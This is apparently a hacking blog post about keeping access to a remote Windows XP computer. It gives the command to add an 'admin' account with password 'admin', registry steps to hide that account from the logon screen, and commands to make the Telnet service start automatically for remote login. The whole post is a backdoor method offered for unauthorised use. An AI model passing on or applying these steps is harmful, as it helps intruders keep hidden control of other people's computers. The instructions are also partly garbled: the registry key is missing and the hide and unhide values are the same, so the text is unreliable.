In this post, I'll post more stuff that you can do to maintain access to any remote Windows XP computer. Previous post is here.
1. Creating Invisible Account
You can create a user "Admin" by running following command
c:\windows\system32\net user admin admin /add
But this user will be visible on XP logon screen. To hide it, you'll have to edit some registry settings
Open up Registry Editor and navigate to this key
Here, modify or create a DWORD Value by right-clicking the right side of the screen and adding DWORD Value. Name of the value must be same as the account name (admin here) that you want to hide. Set the value data 0 to hide it and 0 to unhide.
2. Enabling Telnet
Telnet is one simple utility that you can use to maintain access without uploading any extra backdoor/software. Telnet server is disabled on most PCs by default. You'll have to manually enable the service to start automatically
sc config telnet start= auto net start telnet
That's it. Any service can be enabled using this command. Just replace telnet with the service of your choice.
Now you can use the account you created earlier to login any time you want.